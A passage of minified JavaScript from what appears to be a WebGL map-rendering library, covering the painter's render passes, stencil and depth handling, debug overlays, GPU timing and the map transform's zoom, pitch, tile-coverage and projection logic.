o.Color(1,0,0,1),Fu=new o.Color(0,1,0,1),fl=new o.Color(0,0,1,1),Ou=new o.Color(1,0,1,1),Ve=new o.Color(0,1,1,1);function Je(ue){var H=ue.transform.padding,he=3;ft(ue,ue.transform.height-(H.top||0),he,ul),ft(ue,H.bottom||0,he,Fu),Ct(ue,H.left||0,he,fl),Ct(ue,ue.transform.width-(H.right||0),he,Ou);var $=ue.transform.centerPoint;ot(ue,$.x,ue.transform.height-$.y,Ve)}function ot(ue,H,he,$){var ve=20,Re=2;At(ue,H-Re/2,he-ve/2,Re,ve,$),At(ue,H-ve/2,he-Re/2,ve,Re,$)}function ft(ue,H,he,$){At(ue,0,H+he/2,ue.transform.width,he,$)}function Ct(ue,H,he,$){At(ue,H-he/2,0,he,ue.transform.height,$)}function At(ue,H,he,$,ve,Re){var He=ue.context,tt=He.gl;tt.enable(tt.SCISSOR_TEST),tt.scissor(H*o.browser.devicePixelRatio,he*o.browser.devicePixelRatio,$*o.browser.devicePixelRatio,ve*o.browser.devicePixelRatio),He.clear({color:Re}),tt.disable(tt.SCISSOR_TEST)}function Rt(ue,H,he){for(var $=0;$<he.length;$++)ir(ue,H,he[$])}function ir(ue,H,he){var $=ue.context,ve=$.gl,Re=he.posMatrix,He=ue.useProgram("debug"),tt=Pr.disabled,ht=Ut.disabled,Dt=ue.colorModeForRenderPass(),Wt="$debug";$.activeTexture.set(ve.TEXTURE0),ue.emptyTexture.bind(ve.LINEAR,ve.CLAMP_TO_EDGE),He.draw($,ve.LINE_STRIP,tt,ht,Dt,wt.disabled,Bs(Re,o.Color.red),Wt,ue.debugBuffer,ue.tileBorderIndexBuffer,ue.debugSegments);var ar=H.getTileByID(he.key).latestRawTileData,hr=ar&&ar.byteLength||0,Er=Math.floor(hr/1024),Fr=H.getTile(he).tileSize,Or=512/Math.min(Fr,512)*(he.overscaledZ/ue.transform.zoom)*.5,zr=he.canonical.toString();he.overscaledZ!==he.canonical.z&&(zr+=" => "+he.overscaledZ);var Yr=zr+" "+Er+"kb";cr(ue,Yr),He.draw($,ve.TRIANGLES,tt,ht,rt.alphaBlended,wt.disabled,Bs(Re,o.Color.transparent,Or),Wt,ue.debugBuffer,ue.quadTriangleIndexBuffer,ue.debugSegments)}function cr(ue,H){ue.initDebugOverlayCanvas();var he=ue.debugOverlayCanvas,$=ue.context.gl,ve=ue.debugOverlayCanvas.getContext("2d");ve.clearRect(0,0,he.width,he.height),ve.shadowColor="white",ve.shadowBlur=2,ve.lineWidth=1.5,ve.strokeStyle="white",ve.textBaseline="top",ve.font="bold 36px Open Sans, sans-serif",ve.fillText(H,5,5),ve.strokeText(H,5,5),ue.debugOverlayTexture.update(he),ue.debugOverlayTexture.bind($.LINEAR,$.CLAMP_TO_EDGE)}function Qt(ue,H,he){var $=ue.context,ve=he.implementation;if(ue.renderPass==="offscreen"){var Re=ve.prerender;Re&&(ue.setCustomLayerDefaults(),$.setColorMode(ue.colorModeForRenderPass()),Re.call(ve,$.gl,ue.transform.customLayerMatrix()),$.setDirty(),ue.setBaseState())}else if(ue.renderPass==="translucent"){ue.setCustomLayerDefaults(),$.setColorMode(ue.colorModeForRenderPass()),$.setStencilMode(Ut.disabled);var He=ve.renderingMode==="3d"?new Pr(ue.context.gl.LEQUAL,Pr.ReadWrite,ue.depthRangeFor3D):ue.depthModeForSublayer(0,Pr.ReadOnly);$.setDepthMode(He),ve.render($.gl,ue.transform.customLayerMatrix()),$.setDirty(),ue.setBaseState(),$.bindFramebuffer.set(null)}}var gr={symbol:Hs,circle:$o,heatmap:gf,line:_u,fill:sl,"fill-extrusion":ll,hillshade:Il,raster:hu,background:kl,debug:Rt,custom:Qt},Tr=function(H,he){this.context=new mt(H),this.transform=he,this._tileTextures={},this.setup(),this.numSublayers=Pt.maxUnderzooming+Pt.maxOverzooming+1,this.depthEpsilon=1/Math.pow(2,16),this.crossTileSymbolIndex=new Qn,this.gpuTimers={}};Tr.prototype.resize=function(H,he){if(this.width=H*o.browser.devicePixelRatio,this.height=he*o.browser.devicePixelRatio,this.context.viewport.set([0,0,this.width,this.height]),this.style)for(var $=0,ve=this.style._order;$<ve.length;$+=1){var Re=ve[$];this.style._layers[Re].resize()}},Tr.prototype.setup=function(){var H=this.context,he=new o.StructArrayLayout2i4;he.emplaceBack(0,0),he.emplaceBack(o.EXTENT,0),he.emplaceBack(0,o.EXTENT),he.emplaceBack(o.EXTENT,o.EXTENT),this.tileExtentBuffer=H.createVertexBuffer(he,qi.members),this.tileExtentSegments=o.SegmentVector.simpleSegment(0,0,4,2);var $=new o.StructArrayLayout2i4;$.emplaceBack(0,0),$.emplaceBack(o.EXTENT,0),$.emplaceBack(0,o.EXTENT),$.emplaceBack(o.EXTENT,o.EXTENT),this.debugBuffer=H.createVertexBuffer($,qi.members),this.debugSegments=o.SegmentVector.simpleSegment(0,0,4,5);var ve=new o.StructArrayLayout4i8;ve.emplaceBack(0,0,0,0),ve.emplaceBack(o.EXTENT,0,o.EXTENT,0),ve.emplaceBack(0,o.EXTENT,0,o.EXTENT),ve.emplaceBack(o.EXTENT,o.EXTENT,o.EXTENT,o.EXTENT),this.rasterBoundsBuffer=H.createVertexBuffer(ve,G.members),this.rasterBoundsSegments=o.SegmentVector.simpleSegment(0,0,4,2);var Re=new o.StructArrayLayout2i4;Re.emplaceBack(0,0),Re.emplaceBack(1,0),Re.emplaceBack(0,1),Re.emplaceBack(1,1),this.viewportBuffer=H.createVertexBuffer(Re,qi.members),this.viewportSegments=o.SegmentVector.simpleSegment(0,0,4,2);var He=new o.StructArrayLayout1ui2;He.emplaceBack(0),He.emplaceBack(1),He.emplaceBack(3),He.emplaceBack(2),He.emplaceBack(0),this.tileBorderIndexBuffer=H.createIndexBuffer(He);var tt=new o.StructArrayLayout3ui6;tt.emplaceBack(0,1,2),tt.emplaceBack(2,1,3),this.quadTriangleIndexBuffer=H.createIndexBuffer(tt),this.emptyTexture=new o.Texture(H,{width:1,height:1,data:new Uint8Array([0,0,0,0])},H.gl.RGBA);var ht=this.context.gl;this.stencilClearMode=new Ut({func:ht.ALWAYS,mask:0},0,255,ht.ZERO,ht.ZERO,ht.ZERO)},Tr.prototype.clearStencil=function(){var H=this.context,he=H.gl;this.nextStencilID=1,this.currentStencilSource=void 0;var $=o.create();o.ortho($,0,this.width,this.height,0,0,1),o.scale($,$,[he.drawingBufferWidth,he.drawingBufferHeight,0]),this.useProgram("clippingMask").draw(H,he.TRIANGLES,Pr.disabled,this.stencilClearMode,rt.disabled,wt.disabled,ro($),"$clipping",this.viewportBuffer,this.quadTriangleIndexBuffer,this.viewportSegments)},Tr.prototype._renderTileClippingMasks=function(H,he){if(!(this.currentStencilSource===H.source||!H.isTileClipped()||!he||!he.length)){this.currentStencilSource=H.source;var $=this.context,ve=$.gl;this.nextStencilID+he.length>256&&this.clearStencil(),$.setColorMode(rt.disabled),$.setDepthMode(Pr.disabled);var Re=this.useProgram("clippingMask");this._tileClippingMaskIDs={};for(var He=0,tt=he;He<tt.length;He+=1){var ht=tt[He],Dt=this._tileClippingMaskIDs[ht.key]=this.nextStencilID++;Re.draw($,ve.TRIANGLES,Pr.disabled,new Ut({func:ve.ALWAYS,mask:0},Dt,255,ve.KEEP,ve.KEEP,ve.REPLACE),rt.disabled,wt.disabled,ro(ht.posMatrix),"$clipping",this.tileExtentBuffer,this.quadTriangleIndexBuffer,this.tileExtentSegments)}}},Tr.prototype.stencilModeFor3D=function(){this.currentStencilSource=void 0,this.nextStencilID+1>256&&this.clearStencil();var H=this.nextStencilID++,he=this.context.gl;return new Ut({func:he.NOTEQUAL,mask:255},H,255,he.KEEP,he.KEEP,he.REPLACE)},Tr.prototype.stencilModeForClipping=function(H){var he=this.context.gl;return new Ut({func:he.EQUAL,mask:255},this._tileClippingMaskIDs[H.key],0,he.KEEP,he.KEEP,he.REPLACE)},Tr.prototype.stencilConfigForOverlap=function(H){var he,$=this.context.gl,ve=H.sort(function(Dt,Wt){return Wt.overscaledZ-Dt.overscaledZ}),Re=ve[ve.length-1].overscaledZ,He=ve[0].overscaledZ-Re+1;if(He>1){this.currentStencilSource=void 0,this.nextStencilID+He>256&&this.clearStencil();for(var tt={},ht=0;ht<He;ht++)tt[ht+Re]=new Ut({func:$.GEQUAL,mask:255},ht+this.nextStencilID,255,$.KEEP,$.KEEP,$.REPLACE);return this.nextStencilID+=He,[tt,ve]}return[(he={},he[Re]=Ut.disabled,he),ve]},Tr.prototype.colorModeForRenderPass=function(){var H=this.context.gl;if(this._showOverdrawInspector){var he=8,$=1/he;return new rt([H.CONSTANT_COLOR,H.ONE],new o.Color($,$,$,0),[!0,!0,!0,!0])}else return this.renderPass==="opaque"?rt.unblended:rt.alphaBlended},Tr.prototype.depthModeForSublayer=function(H,he,$){if(!this.opaquePassEnabledForLayer())return Pr.disabled;var ve=1-((1+this.currentLayer)*this.numSublayers+H)*this.depthEpsilon;return new Pr($||this.context.gl.LEQUAL,he,[ve,ve])},Tr.prototype.opaquePassEnabledForLayer=function(){return this.currentLayer<this.opaquePassCutoff},Tr.prototype.render=function(H,he){var $=this;this.style=H,this.options=he,this.lineAtlas=H.lineAtlas,this.imageManager=H.imageManager,this.glyphManager=H.glyphManager,this.symbolFadeChange=H.placement.symbolFadeChange(o.browser.now()),this.imageManager.beginFrame();var ve=this.style._order,Re=this.style.sourceCaches;for(var He in Re){var tt=Re[He];tt.used&&tt.prepare(this.context)}var ht={},Dt={},Wt={};for(var ar in Re){var hr=Re[ar];ht[ar]=hr.getVisibleCoordinates(),Dt[ar]=ht[ar].slice().reverse(),Wt[ar]=hr.getVisibleCoordinates(!0).reverse()}this.opaquePassCutoff=1/0;for(var Er=0;Er<ve.length;Er++){var Fr=ve[Er];if(this.style._layers[Fr].is3D()){this.opaquePassCutoff=Er;break}}this.renderPass="offscreen";for(var Or=0,zr=ve;Or<zr.length;Or+=1){var Yr=zr[Or],en=this.style._layers[Yr];if(!(!en.hasOffscreenPass()||en.isHidden(this.transform.zoom))){var xn=Dt[en.source];en.type!=="custom"&&!xn.length||this.renderLayer(this,Re[en.source],en,xn)}}for(this.context.bindFramebuffer.set(null),this.context.clear({color:he.showOverdrawInspector?o.Color.black:o.Color.transparent,depth:1}),this.clearStencil(),this._showOverdrawInspector=he.showOverdrawInspector,this.depthRangeFor3D=[0,1-(H._order.length+2)*this.numSublayers*this.depthEpsilon],this.renderPass="opaque",this.currentLayer=ve.length-1;this.currentLayer>=0;this.currentLayer--){var Pn=this.style._layers[ve[this.currentLayer]],Bn=Re[Pn.source],Un=ht[Pn.source];this._renderTileClippingMasks(Pn,Un),this.renderLayer(this,Bn,Pn,Un)}for(this.renderPass="translucent",this.currentLayer=0;this.currentLayer<ve.length;this.currentLayer++){var Nn=this.style._layers[ve[this.currentLayer]],jn=Re[Nn.source],na=(Nn.type==="symbol"?Wt:Dt)[Nn.source];this._renderTileClippingMasks(Nn,ht[Nn.source]),this.renderLayer(this,jn,Nn,na)}if(this.options.showTileBoundaries){var ra,sa,ha=o.values(this.style._layers);ha.forEach(function(Aa){Aa.source&&!Aa.isHidden($.transform.zoom)&&(Aa.source!==(sa&&sa.id)&&(sa=$.style.sourceCaches[Aa.source]),(!ra||ra.getSource().maxzoom<sa.getSource().maxzoom)&&(ra=sa))}),ra&&gr.debug(this,ra,ra.getVisibleCoordinates())}this.options.showPadding&&Je(this),this.context.setDefault()},Tr.prototype.renderLayer=function(H,he,$,ve){$.isHidden(this.transform.zoom)||$.type!=="background"&&$.type!=="custom"&&!ve.length||(this.id=$.id,this.gpuTimingStart($),gr[$.type](H,he,$,ve,this.style.placement.variableOffsets),this.gpuTimingEnd())},Tr.prototype.gpuTimingStart=function(H){if(this.options.gpuTiming){var he=this.context.extTimerQuery,$=this.gpuTimers[H.id];$||($=this.gpuTimers[H.id]={calls:0,cpuTime:0,query:he.createQueryEXT()}),$.calls++,he.beginQueryEXT(he.TIME_ELAPSED_EXT,$.query)}},Tr.prototype.gpuTimingEnd=function(){if(this.options.gpuTiming){var H=this.context.extTimerQuery;H.endQueryEXT(H.TIME_ELAPSED_EXT)}},Tr.prototype.collectGpuTimers=function(){var H=this.gpuTimers;return this.gpuTimers={},H},Tr.prototype.queryGpuTimers=function(H){var he={};for(var $ in H){var ve=H[$],Re=this.context.extTimerQuery,He=Re.getQueryObjectEXT(ve.query,Re.QUERY_RESULT_EXT)/(1e3*1e3);Re.deleteQueryEXT(ve.query),he[$]=He}return he},Tr.prototype.translatePosMatrix=function(H,he,$,ve,Re){if(!$[0]&&!$[1])return H;var He=Re?ve==="map"?this.transform.angle:0:ve==="viewport"?-this.transform.angle:0;if(He){var tt=Math.sin(He),ht=Math.cos(He);$=[$[0]*ht-$[1]*tt,$[0]*tt+$[1]*ht]}var Dt=[Re?$[0]:un(he,$[0],this.transform.zoom),Re?$[1]:un(he,$[1],this.transform.zoom),0],Wt=new Float32Array(16);return o.translate(Wt,H,Dt),Wt},Tr.prototype.saveTileTexture=function(H){var he=this._tileTextures[H.size[0]];he?he.push(H):this._tileTextures[H.size[0]]=[H]},Tr.prototype.getTileTexture=function(H){var he=this._tileTextures[H];return he&&he.length>0?he.pop():null},Tr.prototype.isPatternMissing=function(H){if(!H)return!1;if(!H.from||!H.to)return!0;var he=this.imageManager.getPattern(H.from.toString()),$=this.imageManager.getPattern(H.to.toString());return!he||!$},Tr.prototype.useProgram=function(H,he){this.cache=this.cache||{};var $=""+H+(he?he.cacheKey:"")+(this._showOverdrawInspector?"/overdraw":"");return this.cache[$]||(this.cache[$]=new Os(this.context,Eu[H],he,As[H],this._showOverdrawInspector)),this.cache[$]},Tr.prototype.setCustomLayerDefaults=function(){this.context.unbindVAO(),this.context.cullFace.setDefault(),this.context.activeTexture.setDefault(),this.context.pixelStoreUnpack.setDefault(),this.context.pixelStoreUnpackPremultiplyAlpha.setDefault(),this.context.pixelStoreUnpackFlipY.setDefault()},Tr.prototype.setBaseState=function(){var H=this.context.gl;this.context.cullFace.set(!1),this.context.viewport.set([0,0,this.width,this.height]),this.context.blendEquation.set(H.FUNC_ADD)},Tr.prototype.initDebugOverlayCanvas=function(){if(this.debugOverlayCanvas==null){this.debugOverlayCanvas=o.window.document.createElement("canvas"),this.debugOverlayCanvas.width=512,this.debugOverlayCanvas.height=512;var H=this.context.gl;this.debugOverlayTexture=new o.Texture(this.context,this.debugOverlayCanvas,H.RGBA)}},Tr.prototype.destroy=function(){this.emptyTexture.destroy(),this.debugOverlayTexture&&this.debugOverlayTexture.destroy()};var Br=function(H,he){this.points=H,this.planes=he};Br.fromInvProjectionMatrix=function(H,he,$){var ve=[[-1,1,-1,1],[1,1,-1,1],[1,-1,-1,1],[-1,-1,-1,1],[-1,1,1,1],[1,1,1,1],[1,-1,1,1],[-1,-1,1,1]],Re=Math.pow(2,$),He=ve.map(function(Dt){return o.transformMat4([],Dt,H)}).map(function(Dt){return o.scale$1([],Dt,1/Dt[3]/he*Re)}),tt=[[0,1,2],[6,5,4],[0,3,7],[2,1,5],[3,2,6],[0,4,5]],ht=tt.map(function(Dt){var Wt=o.sub([],He[Dt[0]],He[Dt[1]]),ar=o.sub([],He[Dt[2]],He[Dt[1]]),hr=o.normalize([],o.cross([],Wt,ar)),Er=-o.dot(hr,He[Dt[1]]);return hr.concat(Er)});return new Br(He,ht)};var Wr=function(H,he){this.min=H,this.max=he,this.center=o.scale$2([],o.add([],this.min,this.max),.5)};Wr.prototype.quadrant=function(H){for(var he=[H%2===0,H<2],$=o.clone$2(this.min),ve=o.clone$2(this.max),Re=0;Re<he.length;Re++)$[Re]=he[Re]?this.min[Re]:this.center[Re],ve[Re]=he[Re]?this.center[Re]:this.max[Re];return ve[2]=this.max[2],new Wr($,ve)},Wr.prototype.distanceX=function(H){var he=Math.max(Math.min(this.max[0],H[0]),this.min[0]);return he-H[0]},Wr.prototype.distanceY=function(H){var he=Math.max(Math.min(this.max[1],H[1]),this.min[1]);return he-H[1]},Wr.prototype.intersects=function(H){for(var he=[[this.min[0],this.min[1],0,1],[this.max[0],this.min[1],0,1],[this.max[0],this.max[1],0,1],[this.min[0],this.max[1],0,1]],$=!0,ve=0;ve<H.planes.length;ve++){for(var Re=H.planes[ve],He=0,tt=0;tt<he.length;tt++)He+=o.dot$1(Re,he[tt])>=0;if(He===0)return 0;He!==he.length&&($=!1)}if($)return 2;for(var ht=0;ht<3;ht++){for(var Dt=Number.MAX_VALUE,Wt=-Number.MAX_VALUE,ar=0;ar<H.points.length;ar++){var hr=H.points[ar][ht]-this.min[ht];Dt=Math.min(Dt,hr),Wt=Math.max(Wt,hr)}if(Wt<0||Dt>this.max[ht]-this.min[ht])return 0}return 1};var cn=function(H,he,$,ve){if(H===void 0&&(H=0),he===void 0&&(he=0),$===void 0&&($=0),ve===void 0&&(ve=0),isNaN(H)||H<0||isNaN(he)||he<0||isNaN($)||$<0||isNaN(ve)||ve<0)throw new Error("Invalid value for edge-insets, top, bottom, left and right must all be numbers");this.top=H,this.bottom=he,this.left=$,this.right=ve};cn.prototype.interpolate=function(H,he,$){return he.top!=null&&H.top!=null&&(this.top=o.number(H.top,he.top,$)),he.bottom!=null&&H.bottom!=null&&(this.bottom=o.number(H.bottom,he.bottom,$)),he.left!=null&&H.left!=null&&(this.left=o.number(H.left,he.left,$)),he.right!=null&&H.right!=null&&(this.right=o.number(H.right,he.right,$)),this},cn.prototype.getCenter=function(H,he){var $=o.clamp((this.left+H-this.right)/2,0,H),ve=o.clamp((this.top+he-this.bottom)/2,0,he);return new o.Point($,ve)},cn.prototype.equals=function(H){return this.top===H.top&&this.bottom===H.bottom&&this.left===H.left&&this.right===H.right},cn.prototype.clone=function(){return new cn(this.top,this.bottom,this.left,this.right)},cn.prototype.toJSON=function(){return{top:this.top,bottom:this.bottom,left:this.left,right:this.right}};var dn=function(H,he,$,ve,Re){this.tileSize=512,this.maxValidLatitude=85.051129,this._renderWorldCopies=Re===void 0?!0:Re,this._minZoom=H||0,this._maxZoom=he||22,this._minPitch=$??0,this._maxPitch=ve??60,this.setMaxBounds(),this.width=0,this.height=0,this._center=new o.LngLat(0,0),this.zoom=0,this.angle=0,this._fov=.6435011087932844,this._pitch=0,this._unmodified=!0,this._edgeInsets=new cn,this._posMatrixCache={},this._alignedPosMatrixCache={}},An={minZoom:{configurable:!0},maxZoom:{configurable:!0},minPitch:{configurable:!0},maxPitch:{configurable:!0},renderWorldCopies:{configurable:!0},worldSize:{configurable:!0},centerOffset:{configurable:!0},size:{configurable:!0},bearing:{configurable:!0},pitch:{configurable:!0},fov:{configurable:!0},zoom:{configurable:!0},center:{configurable:!0},padding:{configurable:!0},centerPoint:{configurable:!0},unmodified:{configurable:!0},point:{configurable:!0}};dn.prototype.clone=function(){var H=new dn(this._minZoom,this._maxZoom,this._minPitch,this.maxPitch,this._renderWorldCopies);return H.tileSize=this.tileSize,H.latRange=this.latRange,H.width=this.width,H.height=this.height,H._center=this._center,H.zoom=this.zoom,H.angle=this.angle,H._fov=this._fov,H._pitch=this._pitch,H._unmodified=this._unmodified,H._edgeInsets=this._edgeInsets.clone(),H._calcMatrices(),H},An.minZoom.get=function(){return this._minZoom},An.minZoom.set=function(ue){this._minZoom!==ue&&(this._minZoom=ue,this.zoom=Math.max(this.zoom,ue))},An.maxZoom.get=function(){return this._maxZoom},An.maxZoom.set=function(ue){this._maxZoom!==ue&&(this._maxZoom=ue,this.zoom=Math.min(this.zoom,ue))},An.minPitch.get=function(){return this._minPitch},An.minPitch.set=function(ue){this._minPitch!==ue&&(this._minPitch=ue,this.pitch=Math.max(this.pitch,ue))},An.maxPitch.get=function(){return this._maxPitch},An.maxPitch.set=function(ue){this._maxPitch!==ue&&(this._maxPitch=ue,this.pitch=Math.min(this.pitch,ue))},An.renderWorldCopies.get=function(){return this._renderWorldCopies},An.renderWorldCopies.set=function(ue){ue===void 0?ue=!0:ue===null&&(ue=!1),this._renderWorldCopies=ue},An.worldSize.get=function(){return this.tileSize*this.scale},An.centerOffset.get=function(){return this.centerPoint._sub(this.size._div(2))},An.size.get=function(){return new o.Point(this.width,this.height)},An.bearing.get=function(){return-this.angle/Math.PI*180},An.bearing.set=function(ue){var H=-o.wrap(ue,-180,180)*Math.PI/180;this.angle!==H&&(this._unmodified=!1,this.angle=H,this._calcMatrices(),this.rotationMatrix=o.create$2(),o.rotate(this.rotationMatrix,this.rotationMatrix,this.angle))},An.pitch.get=function(){return this._pitch/Math.PI*180},An.pitch.set=function(ue){var H=o.clamp(ue,this.minPitch,this.maxPitch)/180*Math.PI;this._pitch!==H&&(this._unmodified=!1,this._pitch=H,this._calcMatrices())},An.fov.get=function(){return this._fov/Math.PI*180},An.fov.set=function(ue){ue=Math.max(.01,Math.min(60,ue)),this._fov!==ue&&(this._unmodified=!1,this._fov=ue/180*Math.PI,this._calcMatrices())},An.zoom.get=function(){return this._zoom},An.zoom.set=function(ue){var H=Math.min(Math.max(ue,this.minZoom),this.maxZoom);this._zoom!==H&&(this._unmodified=!1,this._zoom=H,this.scale=this.zoomScale(H),this.tileZoom=Math.floor(H),this.zoomFraction=H-this.tileZoom,this._constrain(),this._calcMatrices())},An.center.get=function(){return this._center},An.center.set=function(ue){ue.lat===this._center.lat&&ue.lng===this._center.lng||(this._unmodified=!1,this._center=ue,this._constrain(),this._calcMatrices())},An.padding.get=function(){return this._edgeInsets.toJSON()},An.padding.set=function(ue){this._edgeInsets.equals(ue)||(this._unmodified=!1,this._edgeInsets.interpolate(this._edgeInsets,ue,1),this._calcMatrices())},An.centerPoint.get=function(){return this._edgeInsets.getCenter(this.width,this.height)},dn.prototype.isPaddingEqual=function(H){return this._edgeInsets.equals(H)},dn.prototype.interpolatePadding=function(H,he,$){this._unmodified=!1,this._edgeInsets.interpolate(H,he,$),this._constrain(),this._calcMatrices()},dn.prototype.coveringZoomLevel=function(H){var he=(H.roundZoom?Math.round:Math.floor)(this.zoom+this.scaleZoom(this.tileSize/H.tileSize));return Math.max(0,he)},dn.prototype.getVisibleUnwrappedCoordinates=function(H){var he=[new o.UnwrappedTileID(0,H)];if(this._renderWorldCopies)for(var $=this.pointCoordinate(new o.Point(0,0)),ve=this.pointCoordinate(new o.Point(this.width,0)),Re=this.pointCoordinate(new o.Point(this.width,this.height)),He=this.pointCoordinate(new o.Point(0,this.height)),tt=Math.floor(Math.min($.x,ve.x,Re.x,He.x)),ht=Math.floor(Math.max($.x,ve.x,Re.x,He.x)),Dt=1,Wt=tt-Dt;Wt<=ht+Dt;Wt++)Wt!==0&&he.push(new o.UnwrappedTileID(Wt,H));return he},dn.prototype.coveringTiles=function(H){var he=this.coveringZoomLevel(H),$=he;if(H.minzoom!==void 0&&he<H.minzoom)return[];H.maxzoom!==void 0&&he>H.maxzoom&&(he=H.maxzoom);var ve=o.MercatorCoordinate.fromLngLat(this.center),Re=Math.pow(2,he),He=[Re*ve.x,Re*ve.y,0],tt=Br.fromInvProjectionMatrix(this.invProjMatrix,this.worldSize,he),ht=H.minzoom||0;this.pitch<=60&&this._edgeInsets.top<.1&&(ht=he);var Dt=3,Wt=function(ha){return{aabb:new Wr([ha*Re,0,0],[(ha+1)*Re,Re,0]),zoom:0,x:0,y:0,wrap:ha,fullyVisible:!1}},ar=[],hr=[],Er=he,Fr=H.reparseOverscaled?$:he;if(this._renderWorldCopies)for(var Or=1;Or<=3;Or++)ar.push(Wt(-Or)),ar.push(Wt(Or));for(ar.push(Wt(0));ar.length>0;){var zr=ar.pop(),Yr=zr.x,en=zr.y,xn=zr.fullyVisible;if(!xn){var Pn=zr.aabb.intersects(tt);if(Pn===0)continue;xn=Pn===2}var Bn=zr.aabb.distanceX(He),Un=zr.aabb.distanceY(He),Nn=Math.max(Math.abs(Bn),Math.abs(Un)),jn=Dt+(1<<Er-zr.zoom)-2;if(zr.zoom===Er||Nn>jn&&zr.zoom>=ht){hr.push({tileID:new o.OverscaledTileID(zr.zoom===Er?Fr:zr.zoom,zr.wrap,zr.zoom,Yr,en),distanceSq:o.sqrLen([He[0]-.5-Yr,He[1]-.5-en])});continue}for(var na=0;na<4;na++){var ra=(Yr<<1)+na%2,sa=(en<<1)+(na>>1);ar.push({aabb:zr.aabb.quadrant(na),zoom:zr.zoom+1,x:ra,y:sa,wrap:zr.wrap,fullyVisible:xn})}}return hr.sort(function(ha,Aa){return ha.distanceSq-Aa.distanceSq}).map(function(ha){return ha.tileID})},dn.prototype.resize=function(H,he){this.width=H,this.height=he,this.pixelsToGLUnits=[2/H,-2/he],this._constrain(),this._calcMatrices()},An.unmodified.get=function(){return this._unmodified},dn.prototype.zoomScale=function(H){return Math.pow(2,H)},dn.prototype.scaleZoom=function(H){return Math.log(H)/Math.LN2},dn.prototype.project=function(H){var he=o.clamp(H.lat,-this.maxValidLatitude,this.maxValidLatitude);return new o.Point(o.mercatorXfromLng(H.lng)*this.worldSize,o.mercatorYfromLat(he)*this.worldSize)},dn.prototype.unproject=function(H){return new o.MercatorCoordinate(H.x/this.worldSize,H.y/this.worldSize).toLngLat()},An.point.get=function(){return this.project(this.center)},dn.prototype.setLocationAtPoint=function(H,he){var $=this.pointCoordinate(he),ve=this.pointCoordinate(this.centerPoint),Re=this.locationCoordinate(H),He=new o.MercatorCoordinate(Re.x-($.x-ve.x),Re.y-($.y-ve.y));this.center=this.coordinateLocation(He),this._renderWorldCopies&&(this.center=this.center.wrap())},dn.prototype.locationPoint=function(H){return this.coordinatePoint(this.locationCoordinate(H))},dn.prototype.pointLocation=function(H){return this.coordinateLocation(this.pointCoordinate(H))},dn.prototype.locationCoordinate=function(H){return o.MercatorCoordinate.fromLngLat(H)},dn.prototype.coordinateLocation=function(H){return H.toLngLat()},dn.prototype.pointCoordinate=function(H){var he=0,$=[H.x,H.y,0,1],ve=[H.x,H.y,1,1];o.transformMat4($,$,this.pixelMatrixInverse),o.transformMat4(ve,ve,this.pixelMatrixInverse);var Re=$[3],He=ve[3],tt=$[0]/Re,ht=ve[0]/He,Dt=$[1]/Re,Wt=ve[1]/He,ar=$[2]/Re,hr=ve[2]/He,Er=ar===hr?0:(he-ar)/(hr-ar);return new o.MercatorCoordinate(o.number(tt,ht,Er)/this.worldSize,o.number(Dt,Wt,Er)/this.worldSize)},dn.prototype.coordinatePoint=function(H){var he=[H.x*this.worldSize,H.y*this.worldSize,0,1];return o.transformMat4(he,he,this.pixelMatrix),new o.Point(he[0]/he[3],he[1]/he[3])},dn.prototype.getBounds=function(){return new o.LngLatBounds().extend(this.pointLocation(new o.Point(0,0))).extend(this.pointLocation(new o.Point(this.width,0))).extend(this.pointLocation(new o.Point(this.width,this.height))).extend(this.pointLocation(new o.Point(0,this.height)))},dn.prototype.getMaxBounds=function(){return!this.latRange||this.latRange.length!==2||!this.lngRange||this.lngRange.length!==2?null:new o.LngLatBounds([this.lngRange[0],this.latRange[0]],[this.lngRange[1],this.latRange[1]])},dn.prototype.setMaxBounds=function(H){H?(this.lngRange=[H.getWest(),H.getEast()],this.latRange=[H.getSouth(),H.getNorth()],this._constrain()):(this.lngRange=null,this.latRange=[-this.maxValidLatitude,this.maxValidLatitude])},dn.prototype.calculatePosMatrix=function(H,he){he===void 0&&(he=!1);var $=H.key,ve=he?this._alignedPosMatrixCache:this._posMatrixCache;if(ve[$])return ve[$];var Re=H.canonical,He=this.worldSize/this.zoomScale(Re.z),tt=Re.x+Math.pow(2,Re.z)*H.wrap,ht=o.identity(new Float64Array(16));return o.translate(ht,ht,[tt*He,Re.y*He,0]),o.scale(ht,ht,[He/o.EXTENT,He/o.EXTENT,1]),o.multiply(ht,he?this.alignedProjMatrix:this.projMatrix,ht),ve[$]=new Float32Array(ht),ve[$]},dn.prototype.customLayerMatrix=function(){return this.mercatorMatrix.slice()},dn.prototype._constrain=function(){if(!(!this.center||!this.width||!this.height||this._constraining)){this._constraining=!0;var H=-90,he=90,$=-180,ve=180,Re,He,tt,ht,Dt=this.size,Wt=this._unmodified;if(this.latRange){var ar=this.latRange;H=o.mercatorYfromLat(ar[1])*this.worldSize,he=o.mercatorYfromLat(ar[0])*this.worldSize,Re=he-H<Dt.y?Dt.y/(he-H):0}if(this.lngRange){var hr=this.lngRange;$=o.mercatorXfromLng(hr[0])*this.worldSize,ve=o.mercatorXfromLng(hr[1])*this.worldSize,He=ve-$<Dt.x?Dt.x/(ve-$):0}var Er=this.point,Fr=Math.max(He||0,Re||0);if(Fr){this.center=this.unproject(new o.Point(He?(ve+$)/2:Er.x,Re?(he+H)/2:Er.y)),this.zoom+=this.scaleZoom(Fr),this._unmodified=Wt,this._constraining=!1;return}if(this.latRange){var Or=Er.y,zr=Dt.y/2;Or-zr<H&&(ht=H+zr),Or+zr>he&&(ht=he-zr)}if(this.lngRange){var Yr=Er.x,en=Dt.x/2;Yr-en<$&&(tt=$+en),Yr+en>ve&&(tt=ve-en)}(tt!==void 0||ht!==void 0)&&(this.center=this.unproject(new o.Point(tt!==void 0?tt:Er.x,ht!==void 0?ht:Er.y))),this._unmodified=Wt,this._constraining=!1}},dn.prototype._calcMatrices=function(){if(this.height){var H=this._fov/2,he=this.centerOffset;this.cameraToCenterDistance=.5/Math.tan(H)*this.height;var $=Math.PI/2+this._pitch,ve=this._fov*(.5+he.y/this.height),Re=Math.sin(ve)*this.cameraToCenterDistance/Math.sin(o.clamp(Math.PI-$-ve,.01,Math.PI-.01)),He=this.point,tt=He.x,ht=He.y,Dt=Math.cos(Math.PI/2-this._pitch)*Re+this.cameraToCenterDistance,Wt=Dt*1.01,ar=this.height/50,hr=new 